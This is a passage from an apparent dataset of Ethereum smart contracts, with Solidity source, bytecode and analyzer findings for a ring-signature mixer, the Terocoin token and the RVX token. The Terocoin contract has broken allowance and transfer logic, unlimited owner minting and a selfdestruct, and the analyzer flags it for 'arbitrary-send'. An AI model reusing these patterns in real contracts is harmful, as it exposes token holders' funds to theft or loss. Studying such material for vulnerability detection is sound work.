beta = addmod(mulmod(mulmod(x, x, FIELD_ORDER), x, FIELD_ORDER), CURVE_B, FIELD_ORDER); uint256 y = expMod(beta, CURVE_A, FIELD_ORDER); return (beta, y); } function isInfinity(Point p) internal pure returns (bool) { return p.X == 0 && p.Y == 0; } function isOnCurve(Point p) internal pure returns (bool) { uint256 p_squared = mulmod(p.X, p.X, FIELD_ORDER); uint256 p_cubed = mulmod(p_squared, p.X, FIELD_ORDER); return addmod(p_cubed, CURVE_B, FIELD_ORDER) == mulmod(p.Y, p.Y, FIELD_ORDER); } function scalarBaseMult(uint256 x) internal view returns (Point r) { return scalarMult(generator(), x); } function pointAdd(Point p1, Point p2) internal view returns (Point r) { uint256[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; assembly { success := staticcall(sub(gas, 2000), 6, input, 0x80, r, 0x40) switch success case 0 { invalid() } } require(success); } function scalarMult(Point p, uint256 s) internal view returns (Point r) { uint256[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; assembly { success := staticcall(sub(gas, 2000), 7, input, 0x60, r, 0x40) switch success case 0 { invalid() } } require(success); } function expMod(uint256 base, uint256 exponent, uint256 modulus) internal view returns (uint256 retval) { bool success; uint256[1] memory output; uint256[6] memory input; input[0] = 0x20; input[1] = 0x20; input[2] = 0x20; input[3] = base; input[4] = exponent; input[5] = modulus; assembly { success := staticcall(sub(gas, 2000), 5, input, 0xc0, output, 0x20) switch success case 0 { invalid() } } require(success); return output[0]; } } library LinkableRing { using bn256g1 for bn256g1.Point; uint256 public constant RING_SIZE = 1; struct Data { bn256g1.Point hash; bn256g1.Point[] pubkeys; uint256[] tags; } function message(Data storage self) internal view returns (bytes32) { require(isFull(self)); return bytes32(self.hash.X); } function isDead(Data storage self) internal view returns (bool) { return self.hash.X == 0 || (self.tags.length >= RING_SIZE && self.pubkeys.length >= RING_SIZE); } function pubExists(Data storage self, uint256 pub_x) internal view returns (bool) { for(uint i = 0; i < self.pubkeys.length; i++) { if(self.pubkeys[i].X == pub_x) { return true; } } return false; } function tagExists(Data storage self, uint256 pub_x) internal view returns (bool) { for(uint i = 0; i < self.tags.length; i++) { if(self.tags[i] == pub_x) { return true; } } return false; } function isInitialized(Data storage self) internal view returns (bool) { return self.hash.X != 0; } function initialize(Data storage self, bytes32 guid) internal returns (bool) { require(uint256(guid) != 0); require(self.hash.X == 0); self.hash.X = uint256(guid); return true; } function isFull(Data storage self) internal view returns (bool) { return self.pubkeys.length == RING_SIZE; } function addParticipant(Data storage self, uint256 pub_x, uint256 pub_y) internal returns (bool) { require(!isFull(self)); require(!pubExists(self, pub_x)); bn256g1.Point memory pub = bn256g1.Point(pub_x, pub_y); require(pub.isOnCurve()); self.hash.X = uint256(sha256(self.hash.X, pub.X, pub.Y)); self.pubkeys.push(pub); if(isFull(self)) { self.hash = bn256g1.hashToPoint(bytes32(self.hash.X)); } return true; } function tagAdd(Data storage self, uint256 tag_x) internal { self.tags.push(tag_x); } function ringLink(uint256 previous_hash, uint256 cj, uint256 tj, bn256g1.Point tau, bn256g1.Point h, bn256g1.Point yj) internal view returns (uint256 ho) { bn256g1.Point memory yc = yj.scalarMult(cj); bn256g1.Point memory a = bn256g1.scalarBaseMult(tj).pointAdd(yc); bn256g1.Point memory b = h.scalarMult(tj).pointAdd(tau.scalarMult(cj)); return uint256(sha256(previous_hash, a.X, a.Y, b.X, b.Y)); } function isSignatureValid(Data storage self, uint256 tag_x, uint256 tag_y, uint256[] ctlist) internal view returns (bool) { require(isFull(self)); require(!tagExists(self, tag_x)); uint256 hashout = uint256(sha256(self.hash.X, tag_x, tag_y)); uint256 csum = 0; for (uint i = 0; i < self.pubkeys.length; i++) { uint256 cj = ctlist[2*i] % bn256g1.genOrder(); uint256 tj = ctlist[2*i+1] % bn256g1.genOrder(); hashout = ringLink(hashout, cj, tj, bn256g1.Point(tag_x, tag_y), self.hash, self.pubkeys[i]); csum = addmod(csum, cj, bn256g1.genOrder()); } hashout %= bn256g1.genOrder(); return hashout == csum; } } interface ERC223 { function transferFrom(address _from, address _to, uint _value) external returns (bool); function approve(address _spender, uint _value) external returns (bool); function allowance(address _owner, address _spender) external returns (uint); function transfer(address _to, uint _value, bytes _data) public returns (bool); event Approval(address indexed _owner, address indexed _spender, uint _value); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract Mixer { using LinkableRing for LinkableRing.Data; struct Data { bytes32 guid; uint256 denomination; address token; LinkableRing.Data ring; } mapping(bytes32 => Data) internal m_rings; mapping(uint256 => bytes32) internal m_pubx_to_ring; mapping(bytes32 => bytes32) internal m_filling; uint256 internal m_ring_ctr; event LogMixerDeposit(bytes32 indexed ring_id,uint256 indexed pub_x,address token,uint256 value); event LogMixerWithdraw(bytes32 indexed ring_id,uint256 tag_x,address token,uint256 value); event LogMixerReady(bytes32 indexed ring_id, bytes32 message); event LogMixerDead(bytes32 indexed ring_id); function () public { revert(); } function message(bytes32 ring_guid) public view returns (bytes32) { Data storage entry = m_rings[ring_guid]; LinkableRing.Data storage ring = entry.ring; require(0 != entry.denomination); return ring.message(); } function depositEther(address token, uint256 denomination, uint256 pub_x, uint256 pub_y) public payable returns (bytes32) { require(token == 0); require(denomination == msg.value); bytes32 ring_guid = depositLogic(token, denomination, pub_x, pub_y); return ring_guid; } function depositERC20Compatible(address token, uint256 denomination, uint256 pub_x, uint256 pub_y) public returns (bytes32) { uint256 codeLength; assembly { codeLength := extcodesize(token) } require(token != 0 && codeLength > 0); bytes32 ring_guid = depositLogic(token, denomination, pub_x, pub_y); ERC20Compatible untrustedErc20Token = ERC20Compatible(token); untrustedErc20Token.transferFrom(msg.sender, this, denomination); return ring_guid; } function withdrawEther(bytes32 ring_id, uint256 tag_x, uint256 tag_y, uint256[] ctlist) public returns (bool) { Data memory entry = withdrawLogic(ring_id, tag_x, tag_y, ctlist); msg.sender.transfer(entry.denomination); return true; } function withdrawERC20Compatible(bytes32 ring_id, uint256 tag_x, uint256 tag_y, uint256[] ctlist) public returns (bool) { Data memory entry = withdrawLogic(ring_id, tag_x, tag_y, ctlist); ERC20Compatible untrustedErc20Token = ERC20Compatible(entry.token); untrustedErc20Token.transfer(msg.sender, entry.denomination); return true; } function lookupFillingRing(address token, uint256 denomination) internal returns (bytes32, Data storage) { bytes32 filling_id = sha256(token, denomination); bytes32 ring_guid = m_filling[filling_id]; if(ring_guid != 0) { return (filling_id, m_rings[ring_guid]); } ring_guid = sha256(address(this), m_ring_ctr, filling_id); Data storage entry = m_rings[ring_guid]; require(0 == entry.denomination); require(entry.ring.initialize(ring_guid)); entry.guid = ring_guid; entry.token = token; entry.denomination = denomination; m_ring_ctr += 1; m_filling[filling_id] = ring_guid; return (filling_id, entry); } function depositLogic(address token, uint256 denomination, uint256 pub_x, uint256 pub_y) internal returns (bytes32) { require(denomination != 0 && 0 == (denomination & (denomination - 1))); require(0 == uint256(m_pubx_to_ring[pub_x])); bytes32 filling_id; Data storage entry; (filling_id, entry) = lookupFillingRing(token, denomination); LinkableRing.Data storage ring = entry.ring; require(ring.addParticipant(pub_x, pub_y)); bytes32 ring_guid = entry.guid; m_pubx_to_ring[pub_x] = ring_guid; emit LogMixerDeposit(ring_guid, pub_x, token, denomination); if(ring.isFull()) { delete m_filling[filling_id]; emit LogMixerReady(ring_guid, ring.message()); } return ring_guid; } function withdrawLogic(bytes32 ring_id, uint256 tag_x, uint256 tag_y, uint256[] ctlist) internal returns (Data) { Data storage entry = m_rings[ring_id]; LinkableRing.Data storage ring = entry.ring; require(0 != entry.denomination); require(ring.isFull()); require(ring.isSignatureValid(tag_x, tag_y, ctlist)); ring.tagAdd(tag_x); emit LogMixerWithdraw(ring_id, tag_x, entry.token, entry.denomination); Data memory entrySaved = entry; if(ring.isDead()) { for(uint i = 0; i < ring.pubkeys.length; i++) { delete m_pubx_to_ring[ring.pubkeys[i].X]; } delete m_rings[ring_id]; emit LogMixerDead(ring_id); } return entrySaved; } } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC20Compatible { function transferFrom(address from, address to, uint256 value) public; function transfer(address to, uint256 value) public; } /* Terocoin is an asset-backed cryptocurrency. Each Terocoin represents and is backed by a square meter (m2) of legally protected undeveloped or reforested land that is uninhabited by humans, and held in trust for the preservation of the land's natural habitats of plant and animal life. Each square meter of land represented by a Terocoin sequesters carbon and produces oxygen by safeguarding its natural forest, forever, as long as its corresponding Terocoin exists. To verify the existence of the lands currently held by Tero Reserve Foundation that serve as backing for all Terocoins presently issued, please visit https://terocoin.org/landtrust */ contract TerocoinToken is ERC223 { string internal _symbol = "TERO"; string internal _name = "Terocoin"; uint8 internal _decimals = 18; uint internal _totalSupply = 24500000000000000000000000; mapping (address => uint256) internal _balanceOf; mapping (address => mapping (address => uint256)) internal _allowances; address owner; Mixer public _mixer; uint256 _pub_x; uint256 _pub_y; address _feeWallet; uint256 _fee = 1; modifier onlyOwner { require(msg.sender == owner); _; } constructor(Mixer mixer, address feeWallet) public { owner = msg.sender; _balanceOf[msg.sender] = _totalSupply; _mixer = mixer; _pub_x = 0x26569781c3ab69ff42834ea67be539bb231fa48730afc3c89f2bba140b2045b2; _pub_y = 0xbf75913861d38b5a01b53654daa260856d5dd705af6a24e57622811d485e407; _feeWallet = feeWallet; } function calculateFee(uint loanAmount, uint interestNumerator, uint interestDenominator) public pure returns (uint) { return (loanAmount * interestNumerator) / interestDenominator; } function balanceOf(address _addr) public view returns (uint256) { return _balanceOf[_addr]; } function balanceOf() public onlyOwner view returns (uint256) { return _balanceOf[owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value > 0, "tranfer: _value must required"); require(_value <= _balanceOf[msg.sender], "tranfer: _value > _balanceOf"); require(!isContract(_to), "tranfer: Is Contract"); uint valFee = calculateFee(_value, _fee, 1000); _balanceOf[msg.sender] -= _value; _balanceOf[_feeWallet] += valFee; _balanceOf[_to] += _value - valFee; emit Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_value > 0, "tranfer223: _value must required"); require(_value <= _balanceOf[msg.sender], "tranfer223: balance less than _value"); require(isContract(_to), "tranfer223: Not is Contract"); uint valFee = calculateFee(_value, _fee, 1000); _balanceOf[owner] -= _value; _balanceOf[_feeWallet] += valFee; _balanceOf[_to] += _value - valFee; ERC223ReceivingContract _contract = ERC223ReceivingContract(_to); _contract.tokenFallback(owner, _value, _data); emit Transfer(owner, _to, _value, _data); return true; } function isContract(address _addr) internal view returns (bool) { uint codeSize; if (_addr == 0) return false; assembly { codeSize := extcodesize(_addr) } return codeSize > 0; } function transferFrom(address _from, address _to, uint256 _value) external returns (bool) { require(_allowances[_from][_to] > 0, "transferFrom: not allowance"); require(_value > 0, "transferFrom: _value must required"); require(_allowances[_from][_to] >= _value, "transferFrom: allowance less than _value"); require(_balanceOf[_from] >= _value, "transferFrom: balance less than _value"); uint valFee = calculateFee(_value, _fee, 1000); _balanceOf[_from] -= _value; _balanceOf[_to] += _value - valFee; _balanceOf[_feeWallet] += valFee; _allowances[_from][_to] -= _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) external returns (bool) { _allowances[owner][_spender] = _value; emit Approval(owner, _spender, _value); return true; } function allowance(address _owner, address _spender) external returns (uint256) { return _allowances[_owner][_spender]; } function addSupply(uint256 amount) public onlyOwner { _balanceOf[msg.sender] = SafeMath.add(_balanceOf[msg.sender], amount); } function kill() public onlyOwner { selfdestruct(owner); } event Transfer(address indexed from, address indexed to, uint256 value); } //This Smart Contract was developed by Apolo Blockchain Technologies LLC - HA08-07C23-10V26-02 - CD10-05A29-09F10-08
0x6080604052600436106100ae5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663095ea7b381146100b357806323b872dd146100eb57806340753a761461011557806341c0e1b51461012f5780635357b9891461014457806370a0823114610174578063722713f714610195578063a9059cbb146101aa578063be45fd62146101ce578063dd62ed3e14610237578063f450b5741461025e575b600080fd5b3480156100bf57600080fd5b506100d7600160a060020a036004351660243561028f565b604080519115158252519081900360200190f35b3480156100f757600080fd5b506100d7600160a060020a0360043581169060243516604435610300565b34801561012157600080fd5b5061012d6004356105e7565b005b34801561013b57600080fd5b5061012d610641565b34801561015057600080fd5b5061016260043560243560443561066a565b60408051918252519081900360200190f35b34801561018057600080fd5b50610162600160a060020a0360043516610682565b3480156101a157600080fd5b5061016261069d565b3480156101b657600080fd5b506100d7600160a060020a03600435166024356106da565b3480156101da57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526100d7948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108999650505050505050565b34801561024357600080fd5b50610162600160a060020a0360043581169060243516610bd6565b34801561026a57600080fd5b50610273610c01565b60408051600160a060020a039092168252519081900360200190f35b60068054600160a060020a03908116600090815260056020908152604080832087851680855290835281842087905594548151878152915193959416927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600160a060020a03808416600090815260056020908152604080832093861683529290529081205481908110610380576040805160e560020a62461bcd02815260206004820152601b60248201527f7472616e7366657246726f6d3a206e6f7420616c6c6f77616e63650000000000604482015290519081900360640190fd5b600083116103fe576040805160e560020a62461bcd02815260206004820152602260248201527f7472616e7366657246726f6d3a205f76616c7565206d7573742072657175697260448201527f6564000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038086166000908152600560209081526040808320938816835292905220548311156104a1576040805160e560020a62461bcd02815260206004820152602860248201527f7472616e7366657246726f6d3a20616c6c6f77616e6365206c6573732074686160448201527f6e205f76616c7565000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038516600090815260046020526040902054831115610537576040805160e560020a62461bcd02815260206004820152602660248201527f7472616e7366657246726f6d3a2062616c616e6365206c657373207468616e2060448201527f5f76616c75650000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61054683600b546103e861066a565b600160a060020a03808716600081815260046020908152604080832080548a900390558985168084528184208054888c03019055600a549095168352808320805487019055838352600582528083208584528252918290208054899003905581518881529151949550929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b60065433600160a060020a0390811691161461060257600080fd5b600160a060020a0333166000908152600460205260409020546106259082610c10565b600160a060020a03331660009081526004602052604090205550565b60065433600160a060020a0390811691161461065c57600080fd5b600654600160a060020a0316ff5b60008183850281151561067957fe5b04949350505050565b600160a060020a031660009081526004602052604090205490565b60065460009033600160a060020a039081169116146106bb57600080fd5b50600654600160a060020a031660009081526004602052604090205490565b600080808311610734576040805160e560020a62461bcd02815260206004820152601d60248201527f7472616e6665723a205f76616c7565206d757374207265717569726564000000604482015290519081900360640190fd5b600160a060020a0333166000908152600460205260409020548311156107a4576040805160e560020a62461bcd02815260206004820152601c60248201527f7472616e6665723a205f76616c7565203e205f62616c616e63654f6600000000604482015290519081900360640190fd5b6107ad84610c26565b15610802576040805160e560020a62461bcd02815260206004820152601460248201527f7472616e6665723a20497320436f6e7472616374000000000000000000000000604482015290519081900360640190fd5b61081183600b546103e861066a565b600160a060020a03338116600081815260046020908152604080832080548a90039055600a5485168352808320805487019055938916808352918490208054868a0301905583518881529351949550909391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060019392505050565b600080808085116108f4576040805160e560020a62461bcd02815260206004820181905260248201527f7472616e6665723232333a205f76616c7565206d757374207265717569726564604482015290519081900360640190fd5b600160a060020a033316600090815260046020526040902054851115610989576040805160e560020a62461bcd028152602060048201526024808201527f7472616e6665723232333a2062616c616e6365206c657373207468616e205f7660448201527f616c756500000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61099286610c26565b15156109e8576040805160e560020a62461bcd02815260206004820152601b60248201527f7472616e6665723232333a204e6f7420697320436f6e74726163740000000000604482015290519081900360640190fd5b6109f785600b546103e861066a565b60068054600160a060020a03908116600090815260046020818152604080842080548d90039055600a54851684528084208054880190558c85168085528185208054898f03019055955490517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081529416918401828152602485018c90526060604486019081528b5160648701528b519799508d9850959663c0ee0b8a9693958d958d95939460849092019291860191908190849084905b83811015610ac7578181015183820152602001610aaf565b50505050905090810190601f168015610af45780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610b1557600080fd5b505af1158015610b29573d6000803e3d6000fd5b50505050836040518082805190602001908083835b60208310610b5d5780518252601f199092019160209182019101610b3e565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206006548c84529451909650600160a060020a038d81169650909416937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a450600195945050505050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600754600160a060020a031681565b600082820183811015610c1f57fe5b9392505050565b600080600160a060020a0383161515610c425760009150610c4d565b823b90506000811191505b509190505600a165627a7a72305820c5b2ae79e97706edaa9c2419caa05d83f07a36bc9ee9941951b83ec5a798042c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,819
0x91d6f6e9026e43240ce6f06af6a4b33129ebde94
/** *Submitted for verification at Etherscan.io on 2020-09-10 */ pragma solidity ^ 0.4.26; library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Context { constructor() internal {} function _msgSender() internal view returns(address) { return msg.sender; } function _msgData() internal view returns(bytes memory) { this; return msg.data; } } contract Ownable is Context { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole is Context,Ownable { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyOwner { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract RVXToken is MinterRole, IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _maxAmount; modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } //constructor constructor(address newOwner) public { _owner = newOwner; _addMinter(newOwner); _removeMinter(msg.sender); _name = "RiveX Token"; _symbol = "RVX"; _decimals = 18; _totalSupply = 25000000 ether; _maxAmount = 25000000 ether; _balances[newOwner] = 25000000 ether; } function drainToken(address _token) onlyOwner public { //owner can withdraw tokens from contract in case of wrong sending IERC20 token = IERC20(_token); uint256 tokenBalance = token.balanceOf(this); token.transfer(_owner, tokenBalance); } function mint(address account, uint256 amount) public onlyMinter returns(bool) { require(amount>0); require(_totalSupply.add(amount)<=_maxAmount); _mint(account, amount); return true; } function burn(uint256 amount) public onlyMinter returns(bool) { _burn(msg.sender, amount); return true; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } function totalSupply() public view returns(uint256) { return _totalSupply; } function balanceOf(address account) public view returns(uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address from, address to, uint256 value) public onlyPayloadSize( 2*32) returns (bool) { _allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowances[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowances[msg.sender][spender] = _allowances[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowances[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal onlyPayloadSize( 2*32) { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e357806323b872dd1461020a578063313ce56714610234578063395093511461025f57806340c10f191461028357806342966c68146102a757806370a08231146102bf578063715018a6146102e05780638da5cb5b146102f75780638f32d59b1461032857806395d89b411461033d578063983b2d56146103525780639865027514610373578063a457c2d714610388578063a9059cbb146103ac578063aa271e1a146103d0578063dd62ed3e146103f1578063e0b22c4c14610418578063f2fde38b14610439575b600080fd5b34801561012d57600080fd5b5061013661045a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cf600160a060020a03600435166024356104ed565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b506101f861050a565b60408051918252519081900360200190f35b34801561021657600080fd5b506101cf600160a060020a0360043581169060243516604435610510565b34801561024057600080fd5b506102496105ec565b6040805160ff9092168252519081900360200190f35b34801561026b57600080fd5b506101cf600160a060020a03600435166024356105f5565b34801561028f57600080fd5b506101cf600160a060020a036004351660243561064e565b3480156102b357600080fd5b506101cf60043561069c565b3480156102cb57600080fd5b506101f8600160a060020a03600435166106c4565b3480156102ec57600080fd5b506102f56106df565b005b34801561030357600080fd5b5061030c610749565b60408051600160a060020a039092168252519081900360200190f35b34801561033457600080fd5b506101cf610758565b34801561034957600080fd5b50610136610769565b34801561035e57600080fd5b506102f5600160a060020a03600435166107ca565b34801561037f57600080fd5b506102f56107e9565b34801561039457600080fd5b506101cf600160a060020a03600435166024356107f4565b3480156103b857600080fd5b506101cf600160a060020a03600435166024356108a4565b3480156103dc57600080fd5b506101cf600160a060020a03600435166108b1565b3480156103fd57600080fd5b506101f8600160a060020a03600435811690602435166108ca565b34801561042457600080fd5b506102f5600160a060020a03600435166108f5565b34801561044557600080fd5b506102f5600160a060020a0360043516610a40565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b820191906000526020600020905b8154815290600101906020018083116104c657829003601f168201915b5050505050905090565b60006105016104fa610a5c565b8484610a60565b50600192915050565b60075490565b60006040604436101561052257600080fd5b600160a060020a0385166000908152600660209081526040808320338452909152902054610556908463ffffffff610bfb16565b600160a060020a0386166000908152600660209081526040808320338452909152902055610585858585610c12565b600160a060020a0385166000818152600660209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3506001949350505050565b60045460ff1690565b6000610501610602610a5c565b846106498560066000610613610a5c565b600160a060020a03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610cf216565b610a60565b6000610659336108b1565b151561066457600080fd5b6000821161067157600080fd5b600854600754610687908463ffffffff610cf216565b111561069257600080fd5b6105018383610d0b565b60006106a7336108b1565b15156106b257600080fd5b6106bc3383610e19565b506001919050565b600160a060020a031660009081526005602052604090205490565b6106e7610758565b15156106f257600080fd5b60008054604051600160a060020a03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031690565b600054600160a060020a0316331490565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b6107d2610758565b15156107dd57600080fd5b6107e681610ec4565b50565b6107f233610f0c565b565b6000600160a060020a038316151561080b57600080fd5b336000908152600660209081526040808320600160a060020a038716845290915290205461083f908363ffffffff610bfb16565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000610501338484610c12565b60006108c460018363ffffffff610f5416565b92915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600080610900610758565b151561090b57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561096f57600080fd5b505af1158015610983573d6000803e3d6000fd5b505050506040513d602081101561099957600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b158015610a0f57600080fd5b505af1158015610a23573d6000803e3d6000fd5b505050506040513d6020811015610a3957600080fd5b5050505050565b610a48610758565b1515610a5357600080fd5b6107e681610f8b565b3390565b600160a060020a0383161515610afc57604080517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0382161515610b9957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60008083831115610c0b57600080fd5b5050900390565b60406044361015610c2257600080fd5b600160a060020a0383161515610c3757600080fd5b600160a060020a038416600090815260056020526040902054610c60908363ffffffff610bfb16565b600160a060020a038086166000908152600560205260408082209390935590851681522054610c95908363ffffffff610cf216565b600160a060020a0380851660008181526005602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600082820183811015610d0457600080fd5b9392505050565b600160a060020a0382161515610d82576040805